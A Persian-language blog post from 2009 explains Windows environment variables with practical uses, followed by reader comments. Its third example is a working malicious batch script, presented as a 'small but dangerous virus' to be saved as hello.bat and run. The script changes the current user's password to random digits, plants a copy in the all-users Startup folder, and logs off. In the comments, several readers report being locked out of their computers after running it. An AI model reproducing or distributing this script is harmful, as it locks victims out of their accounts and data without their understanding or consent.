متغيرهاي تعريف شده در ويندوز + كاربرد


در ويندوز تعدادي متغير به طور پيش فرض تعريف شده كه اطلاعات مفيدي را دارد به عنوان مثال نام كاربرفعال.
هر كدام از اين متغيرها را در RUN يا CMD يا اسكريپتهاي BAT مي توان به كار برد
 
%ALLUSERSPROFILE% پروفايل همه كاربران
%APPDATA% مسير فايلهاي تنظيمات برنامه ها
%COMPUTERNAME% نام كامپيوتر
%DATE% تاريخ جاري را بازگشت مي دهد
%HOMEDRIVE% مسير كاربر فعال با نام درايو
%HOMEPATH% مسير كاربر فعال بدون نام درايو
%NUMBER_OF_PROCESSORS% تعداد پردازشگرهاي سيستم
%OS% نام سيستم عامل
%PATH% مسيري كه هنگام اجرا كردن دستوري در RUN  به دنبال فايلهاي اجرايي مي گردد
%PROCESSOR_ARCHITECTURE% پردازنده نصب شده
%RANDOM% عددي اتفاقي صحيح بين صفر و 32767
%SYSTEMDRIVE% درايويي كه ويندوز در آن نصب شده است
%SYSTEMROOT% مسير نصب ويندوز
%TEMP% و %TMP% محل فايلهاي موقتي
%TIME% زمان جاري
%USERDOMAIN% دامين كاربر
%USERNAME% نام كاربر فعال
%USERPROFILE% پروفايل كاربر فعال
%WINDIR% مسير نصب ويندوز
كاربرد اول:
فرض كنيد با برنامه WINRAR يك نصب كننده كوچك ساخته ايد و مي خواهيد مسير پيش فرض آن پوشه ويندوز باشد ولي WINRAR چنين مسيري را در برنامه خود پشتيباني نمي كند ولي با دانستن مطلب بالا كافي است عبارت %WINDIR% را در قسمت PATH TO EXTRACT بنويسيد
winrar_path
كاربرد دوم:
مي خواهيد فايلهاي موقتي ويندوز را پاك كنيد تا هم فضاي بيشتري به دست آوريد و هم ردپايي از شما بر جا نماند
از منوي استارت گزينه run را انتخاب كرده و در آن عبارت %TEMP% و يا  %TMP% را نوشته و بعد از اوكي همه فايلها و فولدرهاي پنجره باز شده را پاك كنيد.
 
كاربرد سوم:
يك ويروس كوچك اما خطرناك;متن زير را  در برنامه نت پد كپي كنيد و آن را با نام دلخواه و پسوند bat ذخيره كنيد مثلا hello.bat بعد آن را باز كنيد تا نتيجه را ببينيدو هيچگاه فراموش نكنيد. هر چند با تغييرات كوچك در اين ويروس آن را مي توان خيلي خطرناكتر كرد ولي از اين كار بي خيال شدم
 

net user %username% %random%%random%%random%%random%%random%%random%%random%
echo net user %%username%% %%random%%%%random%%%%random%%%%random%%%%random%%%%random%%%%random%% > "%ALLUSERSPROFILE%\Start Menu\Programs\Startup\egza-virus%random%.bat"
logoff

 

hello bat

اطلاعات بيشتر در مورد متغيرهاي تعريف شده در ويندوز را در كمك ويندوز با نوشتن عبارت Command shell overview به دست آوريد
  1. 2009/03/23 در 18:04

    مردم اینقدر التماس کردن … جوابشون رو بده…

    • 2009/03/24 در 08:49

      ببخشيد فرصت نمي شد
      با اجراي برنامه سلام يك عدد طولاني به صورت اتفاقي انتخاب مي شه و به عنوان پسورد كاربر جاري ست مي شه بعد از اون در استارت آپ كاربران ديگر هم اين كد قرار مي گيره و اگه در هنگام ورور به كاربران ديگر شيفت رو نگه داريد كد اجرا نخواهد شد ولي اگر يادتون رفته اين كار رو انجام دهيد از سي دي هاي بوتي كه پسورد ويندوز رو ريست مي كنند استفاده كنيد

  2. امیر
    2009/03/22 در 11:15

    اقا بگو حالا که پسورد سیستم ما عوض شده چیکار باید بکنیم؟
    تورو خدا نجاتم بده.اطلاعات مهمی روی دسکتاپم داشتم.کککککککککککمممممممممممکککککککککککک

    • 2009/03/22 در 18:37

      از ديسك هاي ريست كردن پسورد استفاده كن

  3. sina
    2009/01/23 در 18:25

    جالب بود.این ویروس چیکار میکنه؟

    • 2009/02/21 در 23:35

      چند تا کامنت بعد رو ببین تا به قضیه پی ببری

  4. sina
    2009/01/23 در 17:39

    این ویروس چیکار میکنه؟

  5. باشگاه کامپيوتر جوان
    2009/01/22 در 05:51

    باشگاه کامپيوتر جوان کانوني با عضويت جوانان نخبه در عرصه هاي رايانه اي
    http://www.shahrezanet.com
    info@shahrezanet.com

  6. 2009/01/21 در 08:22

    ای معلومات،ای ایکس پی، دستت طلا

  7. 2009/01/18 در 05:15

    جالب بود من از %windir% همیشه به جای اینکه از کسی بپرسم ویندوزش کجاست استفاده می کردم

  8. م‌ح‌مـود
    2009/01/17 در 16:34

    سلام..
    عالی بود؛ به‌درد من که خیلی می‌خوره

  9. مهدی امیری
    2009/01/17 در 04:57

    دستت درد نکنه دوست عزیز … خیلی به درد می خورند .

  10. حسين
    2009/01/16 در 17:29

    آقا توروبخدا دستم و بگيرو كمكم كن ! من همين ويرووسو نوشتم و اجرا كردم ولي ديگه پسورد ادمينسترتر سيستمومو نمي خونه ، خواهشا» بگو بايد چه كار كنم ؟؟؟؟
    Silent_l_8806@yahoo.com

  11. 2009/01/16 در 16:09

    واقعا جالب بود.
    وقتی داشتم امتحانشون می کردم بعضی هاشون جوابو مثل صفحه خطا میدادن!اول خیال کردم کدش اشتباهه اما بعد دیدم نه درسته!(%RANDOM%)
    راستی %TIME% رو فکر کنم واقعا اشتباه تایپ کردی یا ویندوز من ازش پشتیبانی نمی کنه؟!

    بهرحال امیدوارم موفق باشی

  12. ناشناس
    2009/01/16 در 08:44

    خدا بگم چیکارت کنه حالا پسوردشو چجوری پیدا کنم؟

    • 2009/02/21 در 23:38

      این می شه یه مطلب دیگه ، اگه تو وب پیدا نکردی بگو تا برات راهش رو بگم

      • محمدرضا
        2009/02/27 در 14:08

        آقا دست درد نکنه ما رو خوب تو دردسری انداختی حالا بگو چیکار کنیم پسورد ادمین و یوزرها رو عوض کرده نمی شه رفت ویندوز خیلی توی وب گشتم ولی نتونستم چیزی پیدا کنم دستم به دامنت کمک کن من بیچاره ام فقیرم کمکم کن

  1. No trackbacks yet.

بیان دیدگاه